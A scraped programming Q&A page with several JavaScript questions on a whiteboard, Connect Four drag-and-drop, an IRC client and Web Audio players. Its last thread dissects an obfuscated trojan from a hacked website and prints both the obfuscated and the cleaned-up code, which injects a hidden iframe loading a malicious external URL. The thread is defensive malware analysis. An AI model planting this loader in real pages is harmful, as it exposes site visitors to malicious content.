fabric.js and socket.io Whiteboard construction issue - javascript

I am attempting to make a whiteboard using fabric.js and socket.io. It works, but after drawing one line, it stops working. I believe that it is looping in the socket.on function and that is causing it to keep adding the same object over and over but I am not sure how to address that.
(function() {
var socket = io();
var myid = 0;
var $ = function(id){return document.getElementById(id)};
var canvas = this.__canvas = new fabric.Canvas('c', {
isDrawingMode: true
});
var now_color="black";
var now_width = 1;
fabric.Object.prototype.transparentCorners = false;
var drawingModeEl = $('drawing-mode'),
drawingOptionsEl = $('drawing-mode-options'),
drawingColorEl = $('drawing-color'),
drawingLineWidthEl = $('drawing-line-width'),
clearEl = $('clear-canvas');
eraseModeEl = $('erase-mode');
selmode = $('select');
ermode = $('erase');
dmode = $('draw');
socket.on('draw', function(path) {
fabric.util.enlivenObjects([path], function(objects) {
canvas.add(objects[0]);
});
});
selmode.onclick = function() {
select.classList.remove('active');erase.classList.remove('active');draw.classList.remove('active');
select.classList.add('active');
canvas.isDrawingMode = false;
}
ermode.onclick = function() {
select.classList.remove('active');erase.classList.remove('active');draw.classList.remove('active');
erase.classList.add('active');
canvas.isDrawingMode = true;
canvas.freeDrawingBrush = new fabric.EraserBrush(canvas);
canvas.freeDrawingBrush.width = now_width;
}
dmode.onclick = function() {
select.classList.remove('active');erase.classList.remove('active');draw.classList.remove('active');
draw.classList.add('active');
canvas.isDrawingMode = true;
canvas.freeDrawingBrush = new fabric.PencilBrush(canvas);
canvas.freeDrawingBrush.width = now_width;
canvas.freeDrawingBrush.color = now_color;
}
var canvasModifiedCallback = function() {
canvas.setActiveObject(canvas.item(myid));
var what = canvas.getActiveObject();
socket.emit('draw', what);
myid++;
canvas.discardActiveObject();
};
canvas.on('object:added', canvasModifiedCallback);
})();

Related

How can I make this Javascript code more concise?

fairly new to coding and I'm building out a connect four game. The code I pasted allows me to drag and drop the red & yellow tokens to the cells of the top row of the game board. This works, but before I move on to the next step I would like to know if there is a less "verbose" way that I could have gone about this? A more professional approach?
var dragYellow = document.getElementById("yellowToken1");
var dragRed = document.getElementById("redToken1");
var dropLoc10 = document.getElementById("10");
var dropLoc11 = document.getElementById("11");
var dropLoc12 = document.getElementById("12");
var dropLoc13 = document.getElementById("13");
var dropLoc14 = document.getElementById("14");
var dropLoc15 = document.getElementById("15");
var dropLoc16 = document.getElementById("16");
dragYellow.ondragstart = function(evt) {
evt.dataTransfer.setData("key", "yellowToken1");
}
dragRed.ondragstart = function(evt) {
evt.dataTransfer.setData("key", "redToken1");
}
dropLoc10.ondragover = function(evt) {
evt.preventDefault();
}
dropLoc11.ondragover = function(evt) {
evt.preventDefault();
}
dropLoc12.ondragover = function(evt) {
evt.preventDefault();
}
dropLoc13.ondragover = function(evt) {
evt.preventDefault();
}
dropLoc14.ondragover = function(evt) {
evt.preventDefault();
}
dropLoc15.ondragover = function(evt) {
evt.preventDefault();
}
dropLoc16.ondragover = function(evt) {
evt.preventDefault();
}
dropLoc10.ondrop = function(evt) {
evt.preventDefault();
var dropItem = evt.dataTransfer.getData("key");
var myElement = document.getElementById(dropItem);
var myNewElement = document.createElement("img");
myNewElement.src = myElement.src;
dropLoc10.appendChild(myNewElement);
}
dropLoc11.ondrop = function(evt) {
evt.preventDefault();
var dropItem = evt.dataTransfer.getData("key");
var myElement = document.getElementById(dropItem);
var myNewElement = document.createElement("img");
myNewElement.src = myElement.src;
dropLoc11.appendChild(myNewElement);
}
dropLoc12.ondrop = function(evt) {
evt.preventDefault();
var dropItem = evt.dataTransfer.getData("key");
var myElement = document.getElementById(dropItem);
var myNewElement = document.createElement("img");
myNewElement.src = myElement.src;
dropLoc12.appendChild(myNewElement);
}
dropLoc13.ondrop = function(evt) {
evt.preventDefault();
var dropItem = evt.dataTransfer.getData("key");
var myElement = document.getElementById(dropItem);
var myNewElement = document.createElement("img");
myNewElement.src = myElement.src;
dropLoc13.appendChild(myNewElement);
}
dropLoc14.ondrop = function(evt) {
evt.preventDefault();
var dropItem = evt.dataTransfer.getData("key");
var myElement = document.getElementById(dropItem);
var myNewElement = document.createElement("img");
myNewElement.src = myElement.src;
dropLoc14.appendChild(myNewElement);
}
dropLoc15.ondrop = function(evt) {
evt.preventDefault();
var dropItem = evt.dataTransfer.getData("key");
var myElement = document.getElementById(dropItem);
var myNewElement = document.createElement("img");
myNewElement.src = myElement.src;
dropLoc15.appendChild(myNewElement);
}
dropLoc16.ondrop = function(evt) {
evt.preventDefault();
var dropItem = evt.dataTransfer.getData("key");
var myElement = document.getElementById(dropItem);
var myNewElement = document.createElement("img");
myNewElement.src = myElement.src;
dropLoc16.appendChild(myNewElement);
}
Something like:
var dragYellow = document.getElementById("yellowToken1");
var dragRed = document.getElementById("redToken1");
var dropLoc = [];
for (i = 10; i < 17; i++) {
dropLoc[i] = document.getElementById(i.toString());
dropLoc[i].ondragover = function(evt) {
evt.preventDefault();
}
dropLoc[i].ondrop = function(evt) {
evt.preventDefault();
var dropItem = evt.dataTransfer.getData("key");
var myElement = document.getElementById(dropItem);
var myNewElement = document.createElement("img");
myNewElement.src = myElement.src;
dropLoc[i].appendChild(myNewElement);
}
}
dragYellow.ondragstart = function(evt) {
evt.dataTransfer.setData("key", "yellowToken1");
}
dragRed.ondragstart = function(evt) {
evt.dataTransfer.setData("key", "redToken1");
}
You know the term DRY (Don't Repeat Yourself)? If you find yourself writing names with numbers as suffixes, it's a massive hint to use an array instead!
I'd suggest you add a class to the object's you want to drag and the drop locations. For example: Your drop elements could have a class (let's say drop-location) and you would simply do -
var dropLocs = document.querySelector(".drop-location");
dropLocs.ondragover = function(evt) {
evt.preventDefault();
}
dropLocs.ondrop = function(evt) {
// Drop logic here
}
Since it's a class selector, you will have to figure out the target object (evt.target) and append the newly created img element to that only.
for anyone interested, see sharper's code works but I had to change one line
var dragYellow = document.getElementById('yellowToken1');
var dragRed = document.getElementById('redToken1');
var dropLoc = [];
for (i = 10; i < 17; i++) {
dropLoc[i] = document.getElementById(i.toString());
dropLoc[i].ondragover = function(evt) {
evt.preventDefault();
console.log('dragging over');
}
dropLoc[i].ondrop = function(evt) {
evt.preventDefault();
var dropItem = evt.dataTransfer.getData('key');
var myElement = document.getElementById(dropItem);
var myNewElement = document.createElement('img');
myNewElement.src = myElement.src;
evt.currentTarget.appendChild(myNewElement);
}
}
dragYellow.ondragstart = function(evt) {
evt.dataTransfer.setData('key', 'yellowToken1');
console.log("dragging");
}
dragRed.ondragstart = function(evt) {
evt.dataTransfer.setData('key', 'redToken1');
console.log('dragging');
}

Javascript Run prototype in another file

How can i Execute the Client.prototype.disconnect on another page of javascript code?
Maybe i just have to inherit it?
If yes, then how do i inherit it?
Thanks.
function(Komanda, _, Helpers, Channels, Channel, ChannelView, ChannelsView, Message, Notice, NamesView, Popup, moment, uuid) {
var Client = function(session) {
var self = this;
self.irc = window.requireNode("irc");
self.options = session.attributes;
self.options.stripColors = false;
self.nick = session.attributes.nick;
self.socket = null;
self.session = session;
self.retryCount = 300;
self.retryCountCurrent = 0;
self.retryFunction = null;
self.attemptingReconnect = false;
self.allowReconnect = true;
self.topics = {};
self.binded = false;
self.channels = new Channels();
self.channel = new Channel();
self.channelsView = new ChannelsView({
collection: self.channels,
model: self.channel
});
self.views = [];
$(".channel-item[data-name=\"Status\"]").removeClass("selected");
$(".channel").hide();
var c = new Channel({
channel: "Status",
topic: false,
names: {},
name: "Server Status",
server: self.options.uuid,
status: true,
pm: false
});
self.channels.add(c);
var view = new ChannelView({
model: c
});
Komanda.current = {
server: self.options.uuid,
channel: "Status"
};
$(".channel-holder").append(view.render().el);
var selector = $("#sidebar div.session[data-id=\"" + self.options.uuid + "\"]");
if (selector.find(".channel-list").length > 0) {
selector.find(".channel-list").replaceWith(self.channelsView.render().el);
} else {
selector.append(self.channelsView.render().el);
}
self._whois = {};
return this;
};
Client.prototype.disconnect = function(callback) {
var self = this;
self.attemptingReconnect = false;
self.socket.disconnect("quit message", function() {
self.session.set("connectionOpen", false);
self.clearViews();
self.socket.conn.end();
if (_.isFunction(callback)) {
callback(self);
}
});
};

GetElementsbyClassName requires more?

so im using one of the javascript bgm player solution that works perfectly in a small website that i created.
basically what i want is duplicating the music controller so that there are two music controls i can place on my website.
the script uses javascript's 'GetElementbyID' attribute in order to identify the div, but In order to get the result i want, i would have to make a slight change to 'GetElementsByClassName' so that there are multiple divs.
but for some reason, it didn't work out as i expected, so i did some stackoverflowing and found out the attribute returning some extra array or something like that,
again, im only a starter ar both javascript and jquery,
and i do not know what i need to add or modify in order to make it work.
can anyone help me out? or is there simpler way to make this work using jquery?
see the script below.
and the live site with the BGM player is here : http://xefrontier.com/
if(!window.AudioContext) {
if(!window.webkitAudioContext) {
alert('no audiocontext found');
}
window.AudioContext = window.webkitAudioContext;
}
var context;
var audioBuffer;
var sourceNode;
var analyser;
var javascriptNode;
var ctx = jQuery("#canvas").get()[0].getContext("2d");
var gradient = ctx.createLinearGradient(0, 0, 0, 400);
gradient.addColorStop(0, '#FFFFFF');
gradient.addColorStop(0.50, '#00D4CD');
gradient.addColorStop(0.65, '#FF00CC');
gradient.addColorStop(1, '#1A1A1A');
var currentlyPlaying = 0;
var playing = false;
var trackList = [{
title: "Back For You",
artist: "One Direction",
filename: "bg2.mp3"
}, {
title: "Does He Know",
artist: "One Direction",
filename: "bg3.mp3"
}];
var playbackButton = document.getElementBy("playback-button");
playbackButton.onclick = togglePlayState;
var playIconClass = "fontawesome-play";
var pauseIconClass = "fontawesome-pause";
var nextButton = document.getElementById("next-button");
nextButton.onclick = nextTrack;
var prevButton = document.getElementById("prev-button");
prevButton.onclick = prevTrack;
var playbackIcon = document.getElementById("playback-icon");
function togglePlayState() {
if(!playing) {
startPlayback(currentlyPlaying);
return;
}
switch(context.state) {
case 'running':
playbackIcon.className = playIconClass;
context.suspend();
break;
case 'suspended':
playbackIcon.className = pauseIconClass;
context.resume();
break;
}
}
function displayPlaying() {
var trackInfoElement = document.getElementById("trackInfo");
trackInfoElement.innerHTML = trackList[currentlyPlaying]['title'] + " - " + trackList[currentlyPlaying]['artist'];
}
function displayPlaylist() {
var playlist = document.getElementById('playlist');
playlist.innerHTML = "";
for(var i = currentlyPlaying; i < trackList.length; i++) {
var track = document.createElement('li');
if(i === currentlyPlaying) track.class = "playing";
track.innerHTML = trackList[i]['title'] + ' - ' + trackList[i]['artist'];
playlist.appendChild(track);
}
}
function startPlayback(trackID) {
displayPlaylist()
if(playing) {
stopPlayback();
}
context = new AudioContext()
setupAudioNodes();
loadSound("/xe/" + trackList[trackID]['filename']);
playing = true;
playbackIcon.className = pauseIconClass;
}
function stopPlayback() {
context.close();
playing = false;
playbackIcon.className = playIconClass;
}
function nextTrack() {
if(currentlyPlaying === trackList.length - 1) currentlyPlaying = 0;
else currentlyPlaying += 1;
startPlayback(currentlyPlaying);
}
function prevTrack() {
if(currentlyPlaying === 0) currentlyPlaying = trackList.length - 1;
else currentlyPlaying -= 1;
startPlayback(currentlyPlaying);
}
function setupAudioNodes() {
javascriptNode = context.createScriptProcessor(2048, 1, 1);
javascriptNode.connect(context.destination);
javascriptNode.onaudioprocess = function() {
var array = new Uint8Array(analyser.frequencyBinCount);
analyser.getByteFrequencyData(array);
ctx.clearRect(0, 0, 2000, 1000);
ctx.fillStyle = gradient;
drawSpectrum(array);
}
analyser = context.createAnalyser();
analyser.smoothingTimeConstant = 0.3;
analyser.fftSize = 512;
sourceNode = context.createBufferSource();
sourceNode.onended = function() {
nextTrack();
}
sourceNode.connect(analyser);
analyser.connect(javascriptNode);
sourceNode.connect(context.destination);
}
function loadSound(url) {
var request = new XMLHttpRequest();
request.open('GET', url, true);
request.responseType = 'arraybuffer';
request.onload = function() {
context.decodeAudioData(request.response, function(buffer) {
playSound(buffer);
}, onError);
}
request.send();
}
function playSound(buffer) {
sourceNode.buffer = buffer;
sourceNode.start(0);
}
function onError(e) {
console.log(e);
}
function drawSpectrum(array) {
for(var i = 0; i < (array.length); i++) {
var value = array[i];
ctx.fillRect(i * 8, 350 - value, 2, 50);
}
};

How to decode only part of the mp3 for use with WebAudio API?

In my web application, I have a requirement to play part of mp3 file. This is a local web app, so I don't care about downloads etc, everything is stored locally.
My use case is as follows:
determine file to play
determine start and stop of the sound
load the file [I use BufferLoader]
play
Quite simple.
Right now I just grab the mp3 file, decode it in memory for use with WebAudio API, and play it.
Unfortunately, because the mp3 files can get quite long [30minutes of audio for example] the decoded file in memory can take up to 900MB. That's a bit too much to handle.
Is there any option, where I could decode only part of the file? How could I detect where to start and how far to go?
I cannot anticipate the bitrate, it can be constant, but I would expect variable as well.
Here's an example of what I did:
http://tinyurl.com/z9vjy34
The code [I've tried to make it as compact as possible]:
var MediaPlayerAudioContext = window.AudioContext || window.webkitAudioContext;
var MediaPlayer = function () {
this.mediaPlayerAudioContext = new MediaPlayerAudioContext();
this.currentTextItem = 0;
this.playing = false;
this.active = false;
this.currentPage = null;
this.currentAudioTrack = 0;
};
MediaPlayer.prototype.setPageNumber = function (page_number) {
this.pageTotalNumber = page_number
};
MediaPlayer.prototype.generateAudioTracks = function () {
var audioTracks = [];
var currentBegin;
var currentEnd;
var currentPath;
audioTracks[0] = {
begin: 4.300,
end: 10.000,
path: "example.mp3"
};
this.currentPageAudioTracks = audioTracks;
};
MediaPlayer.prototype.show = function () {
this.mediaPlayerAudioContext = new MediaPlayerAudioContext();
};
MediaPlayer.prototype.hide = function () {
if (this.playing) {
this.stop();
}
this.mediaPlayerAudioContext = null;
this.active = false;
};
MediaPlayer.prototype.play = function () {
this.stopped = false;
console.trace();
this.playMediaPlayer();
};
MediaPlayer.prototype.playbackStarted = function() {
this.playing = true;
};
MediaPlayer.prototype.playMediaPlayer = function () {
var instance = this;
var audioTrack = this.currentPageAudioTracks[this.currentAudioTrack];
var newBufferPath = audioTrack.path;
if (this.mediaPlayerBufferPath && this.mediaPlayerBufferPath === newBufferPath) {
this.currentBufferSource = this.mediaPlayerAudioContext.createBufferSource();
this.currentBufferSource.buffer = this.mediaPlayerBuffer;
this.currentBufferSource.connect(this.mediaPlayerAudioContext.destination);
this.currentBufferSource.onended = function () {
instance.currentBufferSource.disconnect(0);
instance.audioTrackFinishedPlaying()
};
this.playing = true;
this.currentBufferSource.start(0, audioTrack.begin, audioTrack.end - audioTrack.begin);
this.currentAudioStartTimeInAudioContext = this.mediaPlayerAudioContext.currentTime;
this.currentAudioStartTimeOffset = audioTrack.begin;
this.currentTrackStartTime = this.mediaPlayerAudioContext.currentTime - (this.currentTrackResumeOffset || 0);
this.currentTrackResumeOffset = null;
}
else {
function finishedLoading(bufferList) {
instance.mediaPlayerBuffer = bufferList[0];
instance.playMediaPlayer();
}
if (this.currentBufferSource){
this.currentBufferSource.disconnect(0);
this.currentBufferSource.stop(0);
this.currentBufferSource = null;
}
this.mediaPlayerBuffer = null;
this.mediaPlayerBufferPath = newBufferPath;
this.bufferLoader = new BufferLoader(this.mediaPlayerAudioContext, [this.mediaPlayerBufferPath], finishedLoading);
this.bufferLoader.load();
}
};
MediaPlayer.prototype.stop = function () {
this.stopped = true;
if (this.currentBufferSource) {
this.currentBufferSource.onended = null;
this.currentBufferSource.disconnect(0);
this.currentBufferSource.stop(0);
this.currentBufferSource = null;
}
this.bufferLoader = null;
this.mediaPlayerBuffer = null;
this.mediaPlayerBufferPath = null;
this.currentTrackStartTime = null;
this.currentTrackResumeOffset = null;
this.currentAudioTrack = 0;
if (this.currentTextTimeout) {
clearTimeout(this.currentTextTimeout);
this.textHighlightFinished();
this.currentTextTimeout = null;
this.currentTextItem = null;
}
this.playing = false;
};
MediaPlayer.prototype.getNumberOfPages = function () {
return this.pageTotalNumber;
};
MediaPlayer.prototype.playbackFinished = function () {
this.currentAudioTrack = 0;
this.playing = false;
};
MediaPlayer.prototype.audioTrackFinishedPlaying = function () {
this.currentAudioTrack++;
if (this.currentAudioTrack >= this.currentPageAudioTracks.length) {
this.playbackFinished();
} else {
this.playMediaPlayer();
}
};
//
//
// Buffered Loader
//
// Class used to get the sound files
//
function BufferLoader(context, urlList, callback) {
this.context = context;
this.urlList = urlList;
this.onload = callback;
this.bufferList = [];
this.loadCount = 0;
}
// this allows us to handle media files with embedded artwork/id3 tags
function syncStream(node) { // should be done by api itself. and hopefully will.
var buf8 = new Uint8Array(node.buf);
buf8.indexOf = Array.prototype.indexOf;
var i = node.sync, b = buf8;
while (1) {
node.retry++;
i = b.indexOf(0xFF, i);
if (i == -1 || (b[i + 1] & 0xE0 == 0xE0 )) break;
i++;
}
if (i != -1) {
var tmp = node.buf.slice(i); //carefull there it returns copy
delete(node.buf);
node.buf = null;
node.buf = tmp;
node.sync = i;
return true;
}
return false;
}
BufferLoader.prototype.loadBuffer = function (url, index) {
// Load buffer asynchronously
var request = new XMLHttpRequest();
request.open("GET", url, true);
request.responseType = "arraybuffer";
var loader = this;
function decode(sound) {
loader.context.decodeAudioData(
sound.buf,
function (buffer) {
if (!buffer) {
alert('error decoding file data');
return
}
loader.bufferList[index] = buffer;
if (++loader.loadCount == loader.urlList.length)
loader.onload(loader.bufferList);
},
function (error) {
if (syncStream(sound)) {
decode(sound);
} else {
console.error('decodeAudioData error', error);
}
}
);
}
request.onload = function () {
// Asynchronously decode the audio file data in request.response
var sound = {};
sound.buf = request.response;
sound.sync = 0;
sound.retry = 0;
decode(sound);
};
request.onerror = function () {
alert('BufferLoader: XHR error');
};
request.send();
};
BufferLoader.prototype.load = function () {
for (var i = 0; i < this.urlList.length; ++i)
this.loadBuffer(this.urlList[i], i);
};
There is no way of streaming with decodeAudioData(), you need to use MediaElement with createMediaStreamSource and run your stuff then. decodeAudioData() cannot stream on a part.#zre00ne And mp3 will be decoded big!!! Verybig!!!

JavaScript trojan dissection

I've recently been playing with allot of JavaScript and started to consider that I couldn't encounter a piece of JavaScript that I wouldn't be able to debug.
Well I was pleasantly surprised and angered today when we discovered a number of JavaScript redirect trojans on our company’s website.
Most of the code we found I was able to easily dissect and used standard escaping to obfuscate the codes function.
But among the code we found the code below has completely stumped me on what its doing. (The only part that I can seem to work out is that it is doing a replace on some of the parameters).
So would anyone please be kind enough to dissect the following code for me? I would love to know exactly what’s going on...
<script>
function yJ() {};
this.sMZ = "sMZ";
yJ.prototype = {
w: function () {
var rJ = 13390;
this.m = "m";
this.fP = '';
this.q = "q";
this.oJ = "";
var vS = function () {
return 'vS'
};
var d = 'replace';
var qB = "";
x = '';
var s = document;
var xZ = "xZ";
mC = '';
var dV = "dV";
var b = window;
this.p = false;
this.kX = '';
nP = "nP";
var zE = "";
this.nU = false;
var yV = function () {
return 'yV'
};
String.prototype.gT = function (l, v) {
return this[d](l, v)
};
this.pC = '';
var qV = false;
var fPU = new Array();
h = "";
var sV = 'sKe}tKTIiWmEe}oEu}tK'.gT(/[KE\}IW]/g, '');
var xV = 43258;
sT = '';
var mV = '';
this.wJ = "wJ";
var f = '<jhItImIlI I>j<IhjezaIdz ;>;<z/;hjeIaIdI>;<zb!ojdjyj ;>I<!/jbIo!d!yI>z<j/Ihjt;m;lj>!'.gT(/[\!Ijz;]/g, '');
var xB = '';
wI = "wI";
oT = false;
var nQ = 49042;
try {
zI = '';
var bF = new Array();
var aY = function () {
return 'aY'
};
var rN = false;
rF = "";
var cX = function () {
return 'cX'
};
var y = 'bToTdTy+'.gT(/[\+\]aT%]/g, '');
this.rL = '';
var vH = function () {
return 'vH'
};
var r = 'sStEy9l?eE'.gT(/[ES9\?m]/g, '');
yD = "";
var eA = '';
var bQ = 'i.fWrhalmlel'.gT(/[lW\.xh]/g, '');
vZ = '';
this.bG = "";
this.vL = false;
var t = 'w5r[i5t[e%'.gT(/[%C5\[U]/g, '');
gI = '';
dVL = "dVL";
var n = 'cZrzeZaZtze.E.l.e;m;eSnzt;'.gT(/[;SZz\.]/g, '');
lH = "";
kD = "kD";
this.pH = false;
var k = 's9ric9'.gT(/[9Ni~O]/g, '');
var vB = '';
var kH = function () {
return 'kH'
};
var qH = new Array();
aD = '';
this.eQ = false;
var z = 'sNeatoA%totor%i%b%u%toeN'.gT(/[Na%ox]/g, '');
var cT = '';
var kL = function () {
return 'kL'
};
var bR = new Array();
this.cP = 22454;
var dH = 'hNi9d0d>e*n*'.gT(/[\*9N\>0]/g, '');
lG = '';
tG = 7587;
hV = '';
this.oR = "oR";
var o = 'vKiKsAi&bGiKlAiKtHyH'.gT(/[HGK&A]/g, '');
var dC = function () {};
var eR = new Date();
var e = 'atp9p9eWn9d:C9htitl5d:'.gT(/[\:t59W]/g, '');
uM = "";
var i = function () {};
this.cI = "";
tU = false;
function qN() {};
xL = 57256;
var c = this.a();
this.eL = '';
var rY = function () {};
fG = false;
nO = false;
this.j = "";
this.iQ = 5330;
var sY = function () {};
var u = document[n](bQ);
this.tH = false;
zX = "";
u[r][o] = dH;
var kV = "kV";
pN = '';
var yG = new Array();
this.nOE = 818;
u[z](k, c);
this.bQK = "";
var yU = 15629;
var sM = new Array();
var eY = "eY";
var qP = '';
s[y][e](u);
var lU = "lU";
var zR = false;
var xS = "";
iX = 34795;
function pO() {};
this.gM = "";
} catch (g) {
var xI = false;
this.gO = false;
this.iZ = false;
this.iU = false;
var mQ = new Date();
var qF = function () {};
s.write(f);
var tS = "tS";
function aR() {};
nA = "nA";
var xT = new Date();
mZ = false;
var gN = new Array();
var wE = this;
var eB = 3562;
this.qE = "qE";
this.cS = false;
this.vK = false;
qEJ = false;
this.hW = false;
b[sV](function () {
function bI() {};
hJ = "";
var kVQ = "kVQ";
var iG = "";
var eBS = new Array();
rA = "";
wE.w();
jY = "";
var hB = "hB";
var iZF = '';
qY = "";
jYG = "";
uK = 30969;
var qD = "qD";
}, 326);
this.qC = "";
var aX = function () {};
var cN = "";
}
gB = false;
var fF = false;
this.hX = false;
},
a: function () {
rH = "rH";
this.bV = '';
var qW = "";
return 'h+tbtJpx:J/+/JfxaxnJc+yJc+abkJeb.xnJeMtM/x.xpxh+/b1M/+'.gT(/[\+JbMx]/g, '');
var sMS = new Array();
this.wL = false;
uS = "uS";
function pI() {};
}
};
var uI = false;
var kN = new yJ();
this.aQ = "aQ";
kN.w();
hT = 15101;
</script>
It embeds http://fancycake.xxx/something, and this is the line where you can see it:
return 'h+tbtJpx:J/+/JfxaxnJc+yJc+abkJeb.xnJeMtM/x.xpxh+/b1M/+'.gT(/[\+JbMx]/g, '');
You see how every odd character, when plucked from that string, forms the URL. I didn't run this, so I'm not sure under what conditions it does this, but you can see that String.replace has been renamed to String.gT and is being passed a regex against the characters which make the string obfuscated. If you apply that same method, plucking odd characters, you can see that there is a hidden iframe, some javascript event handlers, setAttribute, etc:
var z = 'sNeatoA%totor%i%b%u%toeN'.gT(/[Na%ox]/g, '');
var o = 'vKiKsAi&bGiKlAiKtHyH'.gT(/[HGK&A]/g, '');
var e = 'atp9p9eWn9d:C9htitl5d:'.gT(/[\:t59W]/g, '');
This is how String.replace is aliased:
var d = 'replace';
...
String.prototype.gT = function (l, v) {
return this[d](l, v)
};
Within the context of that function, this is the string on which gT is being called and d is the string replace. On a string's prototype, this['replace'] returns the replace() method, which is then called with the two arguments to gT. The result is then returned.
Update
I transformed the script like so:
Replaced all string.gT() calls with their plain forms.
Removed any variables that aren't referenced.
Gave functions some common-sense names.
This is the result, it should be pretty clear how it works now:
function FancyCake() {};
FancyCake.prototype = {
embed: function () {
var d = 'replace';
var s = document;
var b = window;
var sV = 'setTimeout';
var f = "<html ><head ></head><body ></body></html>";
try {
zI = '';
var bF = new Array();
var y = 'body';
var r = 'style';
var bQ = 'iframe';
var t = 'write';
var n = 'createElement';
var k = 'src';
var z = 'setAttribute';
var dH = 'hidden';
var o = 'visibility';
var e = 'appendChild';
var c = this.getUrl();
var u = document[n](bQ);
u[r][o] = dH;
u[z](k, c);
s[y][e](u);
} catch (e) {
console.error(e);
s.write(f);
var cake = this;
b[sV](function () {
cake.embed();
}, 326);
}
},
getUrl: function () {
return "http://fancycake.net/.ph/1/";
}
};
var cake = new FancyCake();
cake.embed();
It adds an invisible iFrame to the following URL to your website:
<iframe style="visibility: hidden;" src="http://fancycake.net/.ph/1/"></iframe>
The website fancycake is marked as attacked and malicious under Firefox
Run it in a JavaScript debugger; eventually, the code will decompile itself and try to start. I suggest to use the latest version of FireFox maybe on a Linux box to be on the safe side.

Categories

Resources